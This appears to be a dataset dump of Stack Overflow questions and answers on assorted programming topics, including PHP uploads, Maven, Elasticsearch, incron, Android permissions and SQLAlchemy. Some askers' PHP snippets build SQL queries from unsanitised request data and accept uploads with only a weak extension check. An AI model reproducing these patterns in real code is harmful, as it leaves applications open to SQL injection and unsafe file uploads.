&lt;td&gt; Browse Image:&lt;/td&gt; &lt;td&gt;&lt;input type="file" name="file1"&gt;&lt;/td&gt; &lt;td&gt;&lt;img src='img/&lt;?php echo $query2['name'];?&gt;' width='150px' height='150px'&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;select name="priority"&gt; &lt;option value="admin"&gt; admin &lt;/option&gt; &lt;option value="&lt;?php echo $query2['priority']; ?&gt;"&gt;&lt;?php echo $query2['priority']; ?&gt; &lt;/option&gt; &lt;option value="superadmin"&gt; superadmin &lt;/option&gt; &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt; &lt;input type="submit" value="submit" name="sub"&gt;&lt;br&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php echo "&lt;table&gt;"; echo "&lt;/form&gt;"; } //echo "&lt;/ul&gt;"; ?&gt; </code></pre> <p>now my update query which i m using but when i try to isset my image it just wont go in that condition</p> <pre><code> &lt;?php class update extends connect { function updatedata($rel) { $obj= new connect(); $obj-&gt;con(); extract($_POST); $id=$_GET['id']; $line = implode("," ,$lang); print_r($_POST); if(isset($_FILES["file1"])) { extract($_POST); echo "hello"; $name = $_FILES['file1']['name']; $type = $_FILES['file1']['type']; $size = $_FILES['file1']['size']; $tmp_name = $_FILES['file1']['tmp_name']; $loc = 'img/'; $ext = substr($name,strpos($name,'.')+1); if($_FILES['file1']['size']&gt;= '10000' || $_FILES['file1']['size']&lt;="23000000") { //echo $size; } else{ // echo "size is not supported"; } $val = $_FILES['file1']['size']; if($ext == 'jpg' || $ext == 'png') { //echo $lang; //print_r($_POST); //exit; $val =("update register set uname='$uname',pwd='$pwd',emailid='$emailid',gen='$gen',lang='$line',mobile='$mobile',10marks='$marks_10',12marks='$marks_12' file1='$name' where id=$sid"); //print_r($qry); $res=mysqli_query($this-&gt;con(),$val); //print_r($run); if($res) { move_uploaded_file($tmp_name,$loc.$name); //echo "data saved"; //echo "Data inserted"; } else { //echo "Data Not Inserted"; } } } } //print_r($val); // return $res; } ?&gt; </code></pre>
15244567	0	 <p>Your issue seems to be caused by the line break (which insert a space in the rendered html document). If you don't need that space b/w those two element then you can float both those element to left, it will ignore the space.</p>
26956393	0	Java plugin library shading <p>I'm building a Java based HTTP Server with a bukkit-like (minecraft) plugin system. And I want to load plugin libraries in such a way that they don't interfere with each other, e.g. if two plugins package the same library in their jar something might go wrong.</p> <p>I know this can be done with "maven shading". However, the only thing about maven I know is how to add dependencies to a project. And maven tutorials are not making me any wiser.</p> <p>I have read up about somethings like build goals, yet nowhere any pom.xml examples explaining how this works or what kind of options you have. And when I search for "Java plugin maven shading" or similar the only results I get are about the maven shading plugin (which I don't understand the first thing about either)</p> <p>I don't want to get too deep into maven commandline, I'm using a eclipse maven plugin.</p> <p>Other solutions are welcome as well.</p>
30817189	0	 <p>Right click on the Module --><code>Open Module Settings</code> --> Select <code>Dependencies</code> tab --> Click on <code>add(+)</code> button --> Select <code>Library dependency</code> --> Now from list select <code>Play service</code> --> Click <code>Apply</code> --> Clock <code>Ok</code></p> <p><strong>Update</strong></p> <p>Actually there is <code>GoogleApiClient.OnConnectionFailedListener</code> interface but not <code>GooglePlayServicesClient.OnConnectionFailedListener</code>. For reference check the link <a href="http://developers.google.com/games/services/android/init" rel="nofollow">developers.google.com/games/services/android/init</a> </p>
9476616	0	 <p>Create a new <code>Map</code> with refnum as key and qty as value.</p> <pre><code>Map&lt;String,Integer&gt; qtyMap=new HashMap&lt;String,Integer&gt;(); </code></pre> <p>while iterating, try</p> <pre><code>String refNum=transItem.getRefNum(); // Mark for removal ? if this is not the first item in the list with the refnum boolean remove=true; Integer currentQty=qtyMap.get(refNum); if(currentQty==null){ currentQty=0; // this doesnt exist already in the map, this is the first item with this reference // number in the list, so you should keep this without removing remove=false; } currentQty=currentQty+transItem.getQty(); qtyMap.put(refNum,currentQty); // if the remove is true then remove this item from the list. if(remove){ groupTransItems.remove(); } </code></pre> <p>This will sum up the qty for refnum's in the map and once your iteration is over, the map will have the sums of quantities for each refnum. You will have to iterate the list once more to set the current qty to each item from the map [EDIT] :- Added the iterating time removal.</p>
17431892	0	 <p>I think the problem you are having is that the <code>getQueryString</code> method you are using is looking for the "?" operator in the URL, as in a traditional GET request (e.g. <code>?id=1</code>). Instead, try passing the domain as a parameter in the controller method. For example:</p> <p>In your <code>routes</code> file:</p> <pre><code>GET /customer/:domain controllers.Application.function(domain: String) </code></pre> <p>Then in your Play controller (assuming Play Framework 2.x):</p> <pre><code>public static Result function(String domain){ //Do something with the passed domain string here return ok(...); } </code></pre>
23815659	0	Timer thread has exited with code 259 (0x103) <p>I want to make a clock which display UTC and Local together. So, I used Timer class from System.Threading like below:</p> <pre><code>private static object _lockObj = new object(); static bool isDisplaying = false; public MainWindow() { InitializeComponent(); System.Threading.Timer _timer = _timer = new System.Threading.Timer(timer_expired, null, 0, 1000); } private void timer_expired(object state) { if(!isDisplaying) lock (_lockObj) { this.Dispatcher.BeginInvoke(new Action(() =&gt; { this.UTC_TIME.Text = DateTime.UtcNow.ToString("MMM-dd HH:mm:ss"); this.LOCAL_TIME.Text = DateTime.Now.ToString("MMM-dd HH:mm:ss"); })); isDisplaying = false; } } </code></pre> <p>But a few minutes later like 15 minutes or so, the clock stops. In a debug mode, I can see: </p> <pre><code>The thread 0x1e10 has exited with code 259 (0x103). </code></pre> <p>How can I run this clock works all the time?</p>
9503007	0	 <p>It's because the font is missing hinting, as already noted. Mac OS always strips away the hinting data anyway, as its rasterizer "auto-hints" the font itself.</p> <p>However, there is a great little software which uses the automatic hinting of FreeType and embeds the data into the file, i.e. it auto-hints the font for you.</p> <p>See here: <a href="http://www.freetype.org/ttfautohint/" rel="nofollow">http://www.freetype.org/ttfautohint/</a></p>
32852770	0	 <p>When you run Spark in <strong>client mode</strong>, the driver process runs <strong>locally</strong>. In <strong>cluster mode</strong>, it runs <strong>remotely</strong> on an ApplicationMaster.</p> <p>In other words you will need all the nodes to see each other. Spark driver definitely needs to communicate with all the worker nodes. If this is a problem try to use the <code>yarn-cluster</code> mode, then the driver will run inside your cluster on one of the nodes.</p>
3940706	0	 <p>Use a regex like this:</p> <pre><code>string input = "\"John Smith\" Pocahontas"; Regex rx = new Regex(@"(?&lt;="")[^""]+(?="")|[^\s""]\S*"); for (Match match = rx.Match(input); match.Success; match = match.NextMatch()) { // use match.Value here, it contains the string to be searched } </code></pre>
36159798	0	 <p>You can accomplish this with ::before and ::after without knowing the width of container or background color, and to achieve greater styling of the line breaks. For example, this can be modified to make double-lines, dotted lines, etc.</p> <p><a href="https://jsfiddle.net/z8jddc0o/1/">JSFiddle</a></p> <p>CSS, and HTML usage:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.hr-sect { display: flex; flex-basis: 100%; align-items: center; color: rgba(0, 0, 0, 0.35); margin: 8px 0px; } .hr-sect::before, .hr-sect::after { content: ""; flex-grow: 1; background: rgba(0, 0, 0, 0.35); height: 1px; font-size: 0px; line-height: 0px; margin: 0px 8px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="hr-sect"&gt;CATEGORY&lt;/div&gt;</code></pre> </div> </div> </p>
30586123	0	elasticsearch bool filter should clause performance <p>first query:</p> <pre><code> { "query" : { "filtered" : { "filter" : { "bool" : { "must" : [ {"term" : {"user1_id" : "1"}}, {"range" : {"day" : {"gte" : "2015-04-01", "lte" : "2015-04-30"}}} ] } } } } </code></pre> <p>In relational SQL, the first query equals to SQL:</p> <pre><code>select * from table where user1_id =1 and (day&gt;=2015-04-01 and day &lt;= 2015-04-30) </code></pre> <p>Second query:</p> <pre><code>{ "query" : { "filtered" : { "filter" : { "bool" : { "should" : [{"term" : {"user1_id" : "1"}}, {"term" : {"user2_id" : "1"}}], "must" : {"range" : {"day" : {"gte" : "2015-04-02", "lte" : "2015-04-30"}} }, "_cache" : true } } } } } </code></pre> <p>In relational SQL, the second query equals to SQL: </p> <pre><code>select * from table where (user1_id =1 or user2_id = 1) and (day&gt;=2015-04-01 and day &lt;= 2015-04-30) </code></pre> <p>The difference is, </p> <p>the first query only considers <code>user1_id</code>, while the second one also check <code>user2_id</code>.</p> <p>both <code>user1_id</code> and <code>user2_id</code> are indexed.</p> <p>However, the performance differs a lot. </p> <p>the first query took 5 seconds, while the second one took 20 seconds.</p> <p>Is there any better way for the second query?</p> <p>Mapping:</p> <pre><code> user1_id: type: "string" index: "not_analyzed" doc_values: true user2_id: type: "string" index: "not_analyzed" doc_values: true day: type: "date" format: "YYYY-MM-dd" ignore_malformed: true doc_values: true </code></pre> <p>If I run the first query twice, the first time is <code>user1_id</code>, the second time is <code>user2_id</code>, then combine two results. It is much faster than using the second query. </p> <p>Have 10 Billion documents in total. AWS, m2.4xlarge, 8 instances in total. </p> <p><code>/usr/bin/java -Xms30g -Xmx30g</code> </p>
40095673	0	Incrontab not processing IF statement <p>First off I'm a Windows guy but getting tasked with Linux now. I am using <code>incrontab</code> to watch a directory on an Oracle Linux server. </p> <p>I am trying to modify it so that if it sees file <code>F078311</code> it will echo Test to the log file. Otherwise it will check to see if the file matches the 2nd format and executes that echo.</p> <p>It is running the 2nd IF and echo'ing the date to the log but is not echoing the Test to the log. Is there something wrong with my syntax? </p> <p>It is watching the <code>/export</code> directory. and <code>$1</code> would be <code>/export/F073811</code></p> <pre><code>incrontab -l /export IN_MODIFY,IN_CLOSE_WRITE,IN_MOVED_TO /usr/local/scripts/EXPrename.sh $@/$# </code></pre> <p>Shell script:</p> <pre><code>#!/bin/bash # This file is invoked using incron and will rename the file with the current date. # Set newdate as current date, YYYYMMDD-HHMMSS newdate="$(date +%Y%m%d-%H%M%S)" #Sets the filename as the filename_YYYYMMDD-HHMMSS filename="A$newdate.txt" joblog="/logs/joblog.log" [[ ( $1 =~ F073811$ ) ]] &amp;&amp; echo Test &gt;&gt; /logs/joblog.log #checks to file format to see if it looks like name_YYYYMMDD-HHMMSS. If it does not then it renames the file to that format. [[ ! ( $1 =~ A[0-9]{8}-[0-9]{6}\.txt$ ) ]] &amp;&amp; echo ---- `date` ------ &gt;&gt; "$joblog" </code></pre>
7405278	0	DDD: how to keep a complex value object immutable? <p>I'd like to model an <code>Address</code> as a value object. As it is a good practice to make it immutable, I chose not to provide any setter, that might allow to modify it later.</p> <p>A common approach is to pass the data to the constructor; however, when the value object is pretty big, that may become quite bloated:</p> <pre><code>class Address { public function __construct( Point $location, $houseNumber, $streetName, $postcode, $poBox, $city, $region, $country) { // ... } } </code></pre> <p>Another approach whould be to provide the arguments as an array, resulting in a clean constructor, but that might mess up the implementation of the constructor:</p> <pre><code>class Address { public function __construct(array $parts) { if (! isset($parts['location']) || ! $location instanceof Point) { throw new Exception('The location is required'); } $this-&gt;location = $location; // ... if (isset($parts['poBox'])) { $this-&gt;poBox = $parts['poBox']; } // ... } } </code></pre> <p>That also looks a bit unnatural to me.</p> <p>Any advice on how to correctly implement a pretty big value object?</p>
34393884	0	How to get image URL property from Wikidata item by API? <p>I've made an android app that uses the JSON Google image search API to provide images but I have noticed that Google have stopped supporting it. I have also discovered that Wikidata sometimes provides a image property on some items, however I can't seem to get the URL location of the image using the Wikidata API.</p> <p>Is there any way to get the image URL property from items in Wikidata?</p>
395834	0	 <p>Be careful of code snippets you find on the web. Often they contain sql in html, which is bad practice, as well as security vulnerabilities such as sql injection. I've seen few that use prepared statements, which is good for security.</p>
711966	0	 <p>I think you'll have to use an XmlWriter. Or ToString.</p> <p>Just found <a href="http://msdn.microsoft.com/en-us/library/bb387027.aspx" rel="nofollow noreferrer">this article</a> which seems to agree.</p>
14819212	0	before_filter doesn't seem to "kick in" <p>I'm trying to get before_filter to work on the actions that requires the user to be logged in, however something must be wrong because it's not.</p> <p>I use a helper file called 'session_helper.rb' for login/logout as well as for checking if the user is logged in (signed_in?). That works fine if used inside an action or in the view, however while using it with the before_filer it's not working. If I log out the user and try to access '/projects/new' it's possible to do that, while it shouldn't be.</p> <p>What am I doing wrong?</p> <p><strong>project controller:</strong></p> <pre><code>class ProjectsController &lt; ApplicationController before_filter :signed_in?, :except =&gt; [:index] // &lt;-- doesn't prevent e.g. the action "new" to be executed def new @project = Project.new @users = (current_user.blank? ? User.all : User.find(:all, :conditions =&gt; ["id != ?", current_user.id])) end def index @projects = Project.all if signed_in? // &lt;-- works as it should @users_projects = Project.where(:user_id =&gt; current_user.id) end end ... other actions ... end </code></pre> <p><strong>sessions_helper.rb</strong></p> <pre><code>module SessionsHelper def sign_in(user) cookies.permanent[:remember_token] = user.remember_token self.current_user = user end def signed_in? !current_user.nil? end def current_user=(user) @current_user = user end def current_user @current_user ||= User.find_by_remember_token(cookies[:remember_token]) end def sign_out self.current_user = nil cookies.delete(:remember_token) end end </code></pre>
6432324	0	 <p>Ooo, a good question :)</p> <p>As far as I know, Mark and Sweep is only used for reference counting event listeners since they're the only ones that can have 'weak listeners'. Everything else is straight up memory reference counting. Essentially, your biggest problem would be cleaning up event listeners, but if the event listeners are within your class (listening to itself, or it's children or even outside events) they should be GC'ed properly if the object is dereferenced throughout your app (don't store it somewhere else).</p> <p>If you let object or properties be publically visible, it is possible for other classes to references them and it could prevent GC of your class (it really depends how it's referenced and all). The only to combat that is to try to encapsulate as much as possible (one class handles it's own dereferencing; look into IDisposable) so that others can't reference and try to adhere to good coding practices (preventing spaghetti code).</p>
14214733	0	XSLT looping though XML to check if value exists <p>XML:</p> <pre><code>&lt;amenities&gt; &lt;record&gt; &lt;thekey&gt;77&lt;/thekey&gt; &lt;thevalue&gt;Balcony&lt;/thevalue&gt; &lt;/record&gt; &lt;record&gt; &lt;thekey&gt;75&lt;/thekey&gt; &lt;thevalue&gt;Cable&lt;/thevalue&gt; &lt;/record&gt; &lt;record&gt; &lt;thekey&gt;35&lt;/thekey&gt; &lt;thevalue&gt;High Speed Internet&lt;/thevalue&gt; &lt;/record&gt; &lt;record&gt; &lt;thekey&gt;16&lt;/thekey&gt; &lt;thevalue&gt;Fireplace&lt;/thevalue&gt; &lt;/record&gt; &lt;record&gt; &lt;thekey&gt;31&lt;/thekey&gt; &lt;thevalue&gt;Garage&lt;/thevalue&gt; &lt;/record&gt; &lt;record&gt; &lt;thekey&gt;32&lt;/thekey&gt; &lt;thevalue&gt;Phone&lt;/thevalue&gt; &lt;/record&gt; &lt;/amenities&gt; </code></pre> <p>I need to check each record in amenities to find out if "35" (high speed internet) exists. The records in amenities can vary. Sometimes it will have 35 (high speed internet) and sometimes it will not. I need to be able to check this in XSLT.</p>
16213675	0	 <p>If you are looking at searching for a string in any of the items in a string array, then you can use <code>array.find(&lt;T&gt;)</code> method. See more here: <a href="http://msdn.microsoft.com/en-IN/library/d9hy2xwa%28v=vs.90%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-IN/library/d9hy2xwa%28v=vs.90%29.aspx</a></p>
26030682	0	 <p><code>raw_input()</code> takes the input as string. In your <code>if</code> condition you are compering a string with a integer. make your <code>if</code> like this,</p> <pre><code>if float(bN[-1]) == 1: print "The binary number was odd so your number will contain 2 decimals" print "The number is now %.2f" % float(aN) elif float(bN[-1]) == 0: print "The binary number was even so your number will contain 1 decimal" print "The number is now", bN[0:3] </code></pre> <p>If you want to print 2 digits after the decimal point, you can follow this approach.</p>
533541	0	 <p>One use could be dynamic control generation based on information that is only available from the bound data item at the time it is bound the Repeater.</p>
37448709	0	ActivityCompat.requestPermission not showing dialog when called inside onMenuItemClick <p>Hi i´m calling ActivityCompat.requestPermission inside my onMenuItemClick to grant the WRITE_EXTERNAL_STORAGE permission . However , ActivityCompat.requestPermissions is not executed .</p> <p>My target is API 23 </p> <p>I have defined in my manifest </p> <pre><code>&lt;uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /&gt; &lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="18"/&gt; </code></pre> <p>and here is my code which i call inside the onMenuItemClick </p> <pre><code> case R.id.id_captura: if (ContextCompat.checkSelfPermission(ChatActivity.this, android.Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { dispatchTakePictureIntent(); } else { if (ActivityCompat.shouldShowRequestPermissionRationale(ChatActivity.this, android.Manifest.permission.WRITE_EXTERNAL_STORAGE)) { } else { ActivityCompat.requestPermissions(ChatActivity.this, new String[]{android.Manifest.permission.WRITE_EXTERNAL_STORAGE}, WRITE_EXTERNAL_STORAGE_CTE ); } } break; </code></pre> <p>And here is my onRequestPermissionsResult</p> <pre><code>@Override public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) { switch (requestCode) { case WRITE_EXTERNAL_STORAGE_CTE: { if (grantResults.length &gt; 0 &amp;&amp; grantResults[0] == PackageManager.PERMISSION_GRANTED) { dispatchTakePictureIntent(); } else { AlertDialog.Builder alertDialog = new AlertDialog.Builder(this).setTitle("Permissions").setMessage("Permissions not granted ").setPositiveButton("Accept", null); alertDialog.show(); } return ; } } } </code></pre> <p>Aditionally I defined </p> <pre><code>private final int WRITE_EXTERNAL_STORAGE_CTE = 1; </code></pre>
28317348	0	 <p>Given your requirements, this block looks wrong to me:</p> <pre><code>if(array[i] % 2 !=0 &amp;&amp; array[i] % 5 ==0){ odd++; } </code></pre> <p>You're incrementing a counter, but you're not creating a sum of odd numbers. Nor are you printing it. Try this:</p> <pre><code>int total = 0; if ( array[i] % 2 != 0 &amp;&amp; array[i] % 5 != 0) { // it's an odd number total += array[i]; } System.out.println("Total: " + total); </code></pre>
26003632	0	RoR - print count after group_by <p>In my Ruby on Rails application, I want to print a count result after I grouped my records in database and I get something like that :</p> <pre><code>{1=&gt;6} </code></pre> <p>In my database there is 6 records, all with the same <code>user_id</code>.</p> <p>Here is my code :</p> <pre><code>Whatever.group(:user_id).count(:user_id) </code></pre> <p>I just want to print <strong>1</strong> how to do this. I tried with <code>distinct</code> and <code>uniq</code> without any success...</p>
5732436	0	ISerializable and DataContract <p>Using WCF In Silverlight services, typically we want to use the DataContract and Datamember attributes to opt into what we want to have serialized. This is what we send to and from the client. For most things this has never been a problem.</p> <p>However, I have a few classes I am trying to share with my silverlight app, 'mature' classes, that I would like to send to the client full of data. These classes implement ISerializable which, doesn't like to play nice with the WCF service when I update.</p> <p>I need to leave the ISerializable attribute on there because it is being used else where is some older code. Currently the way I see it is my best option being to have a new class to transfer the data through, if at all possible I would prefer not to have to write a class just for transfering the data but I am thinking that is what I am going to have to do.</p> <p>Any Ideas on what I could do to get this to serialize through a service and still be able to keep the ISerializable tag on there?</p>
18732752	0	LLDB: How to inspect unordered_map <p>Most other STL containers print fine, but <code>unordered_map</code> is a mess. </p> <p>I use <code>operator &lt;&lt;</code> for prints, but this isn't about printing, this is about when I am crashed and I want to print out my hash from the LLDB prompt.</p> <p>I cannot call something like <code>call cout &lt;&lt; var</code> because that does not work. </p> <p>Is there no solution other than e.g. linking a template function that itself uses <code>cout &lt;&lt;</code>? Would that even work? (I am trying, but it does not work because I have to know ahead of time what the template parameter types will be for it to generate and link the code for them)</p>
15411666	0	 <p>Use <a href="http://support.microsoft.com/kb/268343" rel="nofollow">umdh.exe</a></p> <blockquote> <p>The user-mode dump heap (UMDH) utility works with the operating system to analyze Windows heap allocations for a specific process.</p> </blockquote>
12766011	0	A Better Way To Make My Parallel.ForEach Thread Safe? <p>I would like to make the following code thread-safe. Unfortunately, I have tried locking at various levels within this code with no success. The only instance I can seem to achieve thread-safety is to place a lock around the entire loop which effectively makes the Parallel.ForEach no faster (possibly even slower) than just using foreach. The code is relatively/almost safe with no locking. It only seems to show slight variations in the summation of the geneTokens.Value[-1] keys and gtCandidates.Value[-1] keys about once out of every 20 or so executions. </p> <p>I realize that Dictionary is not thread-safe. However, I cannot change this particular object to a ConcurrentDictionary without taking a major performance hit downstream. I would rather run this part of the code with a regular foreach than change that particular object. However, I am using ConcurrentDictionary to hold the individual Dictionary objects. I have also tried making this change, and it does not solve my race issue.</p> <p><strong>Here are my Class level variables:</strong> </p> <pre><code>//Holds all tokens derived from each sequence chunk public static ConcurrentBag&lt;sequenceItem&gt; tokenBag = new ConcurrentBag&lt;sequenceItem&gt;(); public BlockingCollection&lt;sequenceItem&gt; sequenceTokens = new BlockingCollection&lt;sequenceItem&gt;(tokenBag); public ConcurrentDictionary&lt;string, int&gt; categories = new ConcurrentDictionary&lt;string, int&gt;(); public ConcurrentDictionary&lt;int, Dictionary&lt;int, int&gt;&gt; gtStartingFrequencies = new ConcurrentDictionary&lt;int, Dictionary&lt;int, int&gt;&gt;(); public ConcurrentDictionary&lt;string, Dictionary&lt;int, int&gt;&gt; gtCandidates = new ConcurrentDictionary&lt;string, Dictionary&lt;int, int&gt;&gt;(); public ConcurrentDictionary&lt;string, Dictionary&lt;int, int&gt;&gt; geneTokens = new ConcurrentDictionary&lt;string, Dictionary&lt;int, int&gt;&gt;(); </code></pre> <p><strong>Here is the Parallel.ForEach:</strong></p> <pre><code>Parallel.ForEach(sequenceTokens.GetConsumingEnumerable(), seqToken =&gt; { lock (locker) { //Check to see if the Sequence Token is a Gene Token Dictionary&lt;int, int&gt; geneTokenFreqs; if (geneTokens.TryGetValue(seqToken.text, out geneTokenFreqs)) { //The Sequence Token is a Gene Token *****************Race Issue Seems To Occur Here**************************** //Increment or create category frequencies for each category provided int frequency; foreach (int category in seqToken.categories) { if (geneTokenFreqs.TryGetValue(category, out frequency)) { //increment the category frequency, if it already exists frequency++; geneTokenFreqs[category] = frequency; } else { //Create the category frequency, if it does not exist geneTokenFreqs.Add(category, 1); } } //Update the frequencies total [-1] by the total # of categories incremented. geneTokenFreqs[-1] += seqToken.categories.Length; ****************************************************************************** } else { //The Sequence Token is NOT yet a Gene Token //Check to see if the Sequence Token is a Gene Token Candidate yet Dictionary&lt;int, int&gt; candidateTokenFreqs; if (gtCandidates.TryGetValue(seqToken.text, out candidateTokenFreqs)) { *****************Race Issue Seems To Occur Here**************************** //Increment or create category frequencies for each category provided int frequency; foreach (int category in seqToken.categories) { if (candidateTokenFreqs.TryGetValue(category, out frequency)) { //increment the category frequency, if it already exists frequency++; candidateTokenFreqs[category] = frequency; } else { //Create the category frequency, if it does not exist candidateTokenFreqs.Add(category, 1); } } //Update the frequencies total [-1] by the total # of categories incremented. candidateTokenFreqs[-1] += seqToken.categories.Length; ***************************************************************************** //Only update the candidate sequence count once per sequence if (candidateTokenFreqs[-3] != seqToken.sequenceId) { candidateTokenFreqs[-3] = seqToken.sequenceId; candidateTokenFreqs[-2]++; //Promote the Token Candidate to a Gene Token, if it has been found &gt;= //the user defined candidateThreshold if (candidateTokenFreqs[-2] &gt;= candidateThreshold) { Dictionary&lt;int, int&gt; deletedCandidate; gtCandidates.TryRemove(seqToken.text, out deletedCandidate); geneTokens.TryAdd(seqToken.text, candidateTokenFreqs); } } } else { //create a new token candidate frequencies dictionary by making //a copy of the default dictionary from gtCandidates.TryAdd(seqToken.text, new Dictionary&lt;int, int&gt;(gtStartingFrequencies[seqToken.sequenceId])); } } } }); </code></pre>
12795302	0	PHP Check duplicate data and Execute if not <p>I had a trouble with my PHP Msyql Check data. Source will be see below :</p> <pre><code>$cek_saldo=mysql_num_rows(mysql_query ("SELECT badge_id, bulan, jns_saldo FROM t_saldo WHERE badge_id='$badge_id' AND bulan='Januari' AND jns_saldo='Tabungan Wajib'")); if ($cek_saldo &gt; 0) { include ("manage_saldo.php"); echo "&lt;div class='emp'&gt;Saldo already added.&lt;/div&gt;"; } else { Save query data. } </code></pre> <p>I example :<br> jns_saldo is "Tabungan Wajib"<br> Badge ID is 165520<br> Bulan is Januari</p> <p>So if the example data same with in the table, then give the message "Saldo already added.". If not, PHP execute to else statement, that's save the data.</p>
27712919	1	SQLAlchemy: order_by(None) for joinedload subclause queries? <p>We are using SQLAlchemy 0.9.8 on Python 2.7.7 and Postgres 9.3.</p> <p>We have a query that uses joinedloads to fully populate some Recipe objects using a single query. The query creates a large SQL statement that takes 20 seconds to execute - too long. Here's the <a href="http://pastebin.com/raw.php?i=ETNDAeAa" rel="nofollow">rendered SQL statement on Pastebin</a>. </p> <p>The rendered SQL has an ORDER BY clause that Postgres explain says is the source of 99% of the time spent on this query. This appears to come from the relationship in the ORM model, which has an order_by clause.</p> <p>However, we don't care about the order the results are returned for this query - we only care about the order when looking at a single object. If I remove the ORDER BY clause at the end of the rendered SQL statement, the query executes in less than a second - perfect.</p> <p>We tried using .order_by(None) on the query, but that seems to have no effect. The ORDER BY seems to be related to the joinedloads, because if change the joinedloads to lazyloads, they go away. But we need the joinedloads for speed.</p> <p>How can I get SQLAlchemy to omit the ORDER BY clauses? </p> <hr> <p>FYI, here's the query:</p> <pre><code>missing_recipes = cls.query(session).filter(Recipe.id.in_(missing_recipe_ids)) if missing_recipe_ids else [] </code></pre> <p>Here's an excerpt from the ORM class:</p> <pre><code>class Recipe(Base, TransactionalIdMixin, TableCacheMixin, TableCreatedModifiedMixin): __tablename__ = 'recipes' authors = relationship('RecipeAuthor', cascade=OrmCommonClass.OwnedChildCascadeOptions, single_parent=True, lazy='joined', order_by='RecipeAuthor.order', backref='recipe') scanned_photos = relationship(ScannedPhoto, backref='recipe', order_by="ScannedPhoto.position") utensils = relationship(CookingUtensil, secondary=lambda: recipe_cooking_utensils_table) utensil_labels = association_proxy('utensils', 'name') </code></pre> <p>Our query() method looks something like this (some more joinedloads omitted):</p> <pre><code>@classmethod def query(cls, session): query = query.options( joinedload(cls.ingredients).joinedload(RecipeIngredient.ingredient), joinedload(cls.instructions), joinedload(cls.scanned_photos), joinedload(cls.tags), joinedload(cls.authors), ) </code></pre>
39766084	0	 <p>In <a href="https://www.npmjs.com/package/xlsx" rel="nofollow">documentation</a> it says: <em>The raw data is the only thing guaranteed to be saved. Formulae, formatting, and other niceties may not be serialized (pending CSF standardization)</em> under <strong>writing options</strong> section.</p>
33685724	0	Is it possible to draw a line chart using birt framework? <p>I would like to create a line chart in my rcp application.is it possible to plot a line chart dynamically using birt.</p>
26901643	0	 <p>I'm guessing that you are not just using view source, but are instead using the Firefox Developer Tools Browser Inspector? This is done because there has to be an end to each tag so the inspector is explicitly showing this end point.</p>
4073352	1	Django + alwaysdata.com Noob Question <p>I'm learning Django and working on sample sites.. I registered at alwaysdata but am unable to view the site after I go 'manage.py runserver' in the SSH (this is after I've created the project and navigated to the appropriate directory, of course).</p> <p>I appreciate any help.</p> <p>Thanks</p>
5592167	0	 <p>I'd start with this:</p> <pre><code>... List&lt;ISomething&gt; instances = new List&lt;ISomething&gt;({new SomeType1(), new SomeType2(),...}); ... List&lt;ISomething&gt; PopulateItemRows() { itemRows = new HashSet&lt;ISomething&gt;(); foreach(ISomething instance in instances) { itemRows.UnionWith(instance.Collection()); } } </code></pre>
34886699	0	 <p>I found the solution, for anybody who cares.</p> <p>I changed the command to execute a call to a batch script which then called the print command.</p> <pre><code>var directory = process.env['USERPROFILE'] + '\\Downloads\\'; var command = 'start cmd.exe /C ' + __dirname + '\\print.bat ' + directory + imageName + ' "EPSON TM-C3500"'; exec(command, {}, function(error, stdout, stderr){}); </code></pre> <p>But then the batch script wasn't working... why? I don't know. I do know that adding a TIMEOUT 0 in the batch script fixed it.</p> <pre><code>TIMEOUT 0 rundll32 C:\\Windows\\System32\\shimgvw.dll ImageView_PrintTo /pt %* </code></pre>
9572158	0	 <p>These are all comments:</p> <pre><code>// // .............. //.............. // ////////////// //////////////// /// /// .............. </code></pre> <p>since the comment extends from the <code>//</code> to the end of the line.</p> <p><strong>Edited to add:</strong> Of course, there are various contexts where neither <code>//</code> nor <code>///</code> introduces a comment. For example:</p> <pre><code>'///' &lt;-- this is a string "///" &lt;-- this is a string (same as previous) /[///]/ &lt;-- this is a regular expression (same as /\//) /* /// */ &lt;-- this is a comment delimited by /*...*/ /\///3 &lt;-- this is /\// divided by 3, i.e., not-a-number </code></pre>
15433674	0	how to make a current website responsive? <p>I want to make my current website responsive. It's a huge dynamic website and I do not want to make a separate website for mobile or change the <code>&lt;Doctype&gt;</code> or <code>&lt;html&gt;</code>. Is it possible to insert a script that changes the <code>&lt;Doctype&gt;</code> and <code>&lt;html&gt;</code> tags if a website is accessed via a mobile?</p>
26920502	0	 <p>Just in case your list contains other types than strings:</p> <pre><code>a=[10,11,12] preamb='My Pre\n' postam='My Pos' Text=preamb for i in a: Text += str(i)+'\n' Text+=postam print Text </code></pre> <p>Result:</p> <pre><code>My Pre 10 11 12 My Pos </code></pre>
951776	0	 <p>You'll find that many open-source projects follow the <a href="http://maven.apache.org/guides/introduction/introduction-to-the-standard-directory-layout.html" rel="nofollow noreferrer">directory structure used by Maven</a>. In this setup your application source code is kept in src/main/java, application resources, including properties files, in src/main/resources, and other config files in src/main/config. Files related to unit tests use a similar directory structure; src/test/java and src/test/resources.</p> <p>Personally I tend to use this layout because of its widespread use. I also keep an "etc" directory beneath the project root to house files that aren't directly related to the application. For example, I keep configuration files for PMD and Checkstyle in etc.</p>
2171520	0	 <p>what you need is cscope,which can create database with those files specified by you. You need to tell cscope which files you want to build tags with. This link may help: <a href="http://cscope.sourceforge.net/cscope_vim_tutorial.html" rel="nofollow noreferrer">cscope_vim</a></p> <p>But cscope+vim cannot update tags automatically; you need to update yourself or get it done with some shell script.</p>
